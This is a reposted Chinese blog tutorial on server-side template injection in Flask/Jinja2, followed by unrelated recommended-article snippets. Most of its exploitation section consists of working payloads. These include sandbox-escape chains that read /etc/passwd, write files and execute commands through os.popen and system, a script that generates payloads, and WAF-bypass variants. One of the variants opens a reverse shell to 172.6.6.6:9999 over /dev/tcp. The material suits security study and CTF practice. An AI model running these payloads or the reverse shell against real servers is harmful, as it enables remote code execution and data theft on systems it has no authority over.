python-flask-ssti(模版注入漏洞)

2023-10-26

SSTI(Server-Side Template Injection) 服务端模板注入
,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式

输出无过滤就注定会存在xss,当然还有更多深层次的漏洞。
1275435-20190304225656297-1419319357.png

前置知识
1.运行一个一个最小的 Flask 应用
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0')
2.jinja2

 jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。

在jinja2中,存在三种语:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

1.ssti漏洞的检测

发送类似下面的payload,不同模板语法有一些差异

smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49

检测到模板注入漏洞后,需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能,并对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

1275435-20190304230146045-1430183232.png

2.漏洞利用
1.payload原理

Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸

1.1 python沙盒逃逸-python2

python的内敛函数真是强大,可以调用一切函数做自己想做的事情

__builtins__
__import__

1275435-20190305153020288-876592660.png

在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法

Python中一些常见的特殊方法:

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

现在我们的思路就是从一个内置变量调用__class__.__base__等隐藏属性,去找到一个函数,然后调用其__globals__['builtins']即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
安全研究员给出的几个常见Payload
python2

文件读取和写入

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

每次执行都要先写然后编译执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

写入一次即可

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}    

不回显的

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

任意执行只需要一条指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)  
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
总结:
通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。 
python3

因为python3没有file了,所以用的是open

#文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

1275435-20190305155736870-548322271.png

执行命令

#任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

1275435-20190305155958327-770956758.png

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

output

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}

随便选一个替换我们之前的Payload,会发现成功执行

http://192.168.228.36/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}

1275435-20190305172330707-1293619016.png

waf绕过

甩几个test payload
有时候看不到回显。可以在源代码里看到回显

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

参考连接:

浅析ssti

flask ssti原理

flask中文文档

jinja2学习

python2与python3

ssti

转载于:https://www.cnblogs.com/hackxf/p/10480071.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

python-flask-ssti(模版注入漏洞) 的相关文章

随机推荐

  • 记一次STM32全国研讨会之旅

    记一次STM32全国研讨会之旅 在上大学的时候 我就一直仰慕稚晖君 一直把他当做我的指路明灯 不料 这明灯太亮了 苦苦追寻 望尘莫及 我记得稚晖君受邀参加过STM32全球峰会 终于今年我也有幸参与了STM32全国研讨会的宣传片的录制 哈哈
  • Python 判断三位水仙花数

    判断水仙花数 介绍 水仙花数是一个三位数 它的每位数字的3次幂之和等于它本身 例如 153 1 3 5 3 3 3 知识点 1 算术运算符 幂 符号 整除 符号 取余 符号 2 if else 条件语句 3 类型转换 4 while 循环
  • STM32标准外设库中USE_STDPERIPH_DRIVER, STM32F10X_MD的含义

    在项目中使用stm32标准外设库 STM32F10x Standard Peripherals Library 的时候 我们会在项目的选项中预定义两个宏定义 USE STDPERIPH DRIVER STM32F10X MD 如下图 这两个
  • 3ds max文件导出osg或者ive格式

    osg osgEarth系列文章目录 文章目录 osg osgEarth系列文章目录 前言 参考 前言 首先下载插件osgexp Osgexp的下载地址 安装上之后 如果3ds max导出里面已经可以选择导出ive或者osg 恭喜你 如果没
  • ChatGPT在教育行业如何应用?

    ChatGPT对教育的影响引发了多轮探讨 在多知网近日举办的OpenTalk第39期 AI 2 0技术在教育领域如何开花 活动上 作为连续创业者 AI创业项目Copi创办人卢晓勇分享了关于AI2 0时代下教育领域的创业机会的思考 核心观点
  • 【多目标跟踪】 TrackFormer 耗时三天 单句翻译!!!

    多目标跟踪 TrackFormer 耗时三天 单句翻译 TrackFormer Multi Object Tracking with Transformers Abstract The challenging task of multi o
  • 小程序商城怎么运营?

    小程序商城是一种新兴的电商模式 它具有低成本 高效率 易于推广等优势 越来越多的企业和个体户商家开始使用小程序商城进行电商运营 那么关于小程序商城怎么运营呢 下面就让我们来看看小程序商城的运营方法吧 如何进行小程序商城的运营 1 确定目标用
  • MES系统实施价值主要在哪四个方面?

    经过多年的建设 MES扩大了使用范围 增强了应用效果 MES覆盖范围从最初的化工行业 扩展至现今的各大制造行业 同时 MES作为智能生产 精细管理的有力抓手 贯穿于企业生产 管理的各个环节与层面 为提高决策效率 节约生产成本 改善流程控制
  • §4 画出你的轨迹——标注轨迹及演示动画

    4 标注轨迹及演示动画 4 1 折线标注 4 1 1 创建一个简单的折线 4 1 2 连接数据库批量创建折线 4 2 轨迹演示动画 4 1 折线标注 4 1 1 创建一个简单的折线 参考百度地图官方文档 var polyline new B
  • yagmail设置定时任务

    使用定时器之前需要先安装schedule第三方库 pip install schedule 1 附注释的代码 import yagmail import schedule import time import datetime yag ya
  • java发送json post请求_java代码发送JSON格式的httpPOST请求

    package com test import java io BufferedReader import java io DataOutputStream import java io IOException import java io
  • JPA和hibernate以及SpringDataJPA

    什么是jpa JPA java persistence api 为POJO 就是我们的JavaBean 提供持久化标准规范 JavaEE规范之一 主要思想 3个 1 ORM Object Relational Mapping 映射元数据 通
  • 《啤酒厂选址》题解报告

    一 题目 http noi openjudge cn ch0113 19 https www luogu com cn problem T166959 二 思路 对于第i个点作为出发点 到第j点的时间 判断i到j的距离是否小于环岛总长度的一
  • C语言的异常机制 setjump longjump函数

    与刺激的abort 和exit 相比 goto语句看起来是处理异常的更可行方案 不幸的是 goto是本地的 它只能跳到所在函数内部的标号上 而不能将控制权转移到所在程序的任意地点 当然 除非你的所有代码都在main体中 为了解决这个限制 C
  • python报错UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte,文本乱码解决方法

    原因分析 读取文件时报错Unicode编码错误 一般这种情况较多是在国标码 GBK 和utf8之间选择出现了问题 这个异常报错是由于设置了参数errors默认为严格 strict 造成的 将其更改为ignore等即可 方法一 在参数中添加上
  • spring boot jpa 模糊查询 多条件查询 总结

    模糊查询 LIKE 关键字 Query select u name from User u where u name like CONCAT name List
  • vscode远程连接遇到的问题

    有一种情况导致vscode连接远程服务器失败 比如我连接192 168 1 5 总是提示连接失败 一般来说 连接一个新的服务器 基本没什么问题 但是如果以前你连过这个ip 而这个机器重新装了系统 你使用旧的连接 会失败 即便你从vscode
  • dubbo服务调用失败_Dubbo 常见错误及解决方法-阿里云开发者社区

    导读 StabilityGuide 是阿里多位阿里技术工程师共同发起的稳定性领域的知识库开源项目 涵盖性能压测 故障演练 JVM 应用容器 服务框架 流量调度 监控 诊断等多个技术领域 以更结构化的方式来打造稳定性领域的知识库 欢迎您的加入
  • BP神经网络如何用历史数据预测未来数据

    本文主要为了解决如何用BP神经网络由历史的目标数据与因素数据去预测未来的目标数据 Bp神经网络的具体算法步骤与代码在网络上已经有很多大佬写过了 本文提供了将其应用于预测的方法 附简单直接可使用代码 开始我也在思考 简答来说bp神经网络从本质
  • python-flask-ssti(模版注入漏洞)

    SSTI Server Side Template Injection 服务端模板注入 就是服务器模板中拼接了恶意用户输入导致各种漏洞 通过模板 Web应用可以把输入转换成特定的HTML文件或者email格式 输出无过滤就注定会存在xss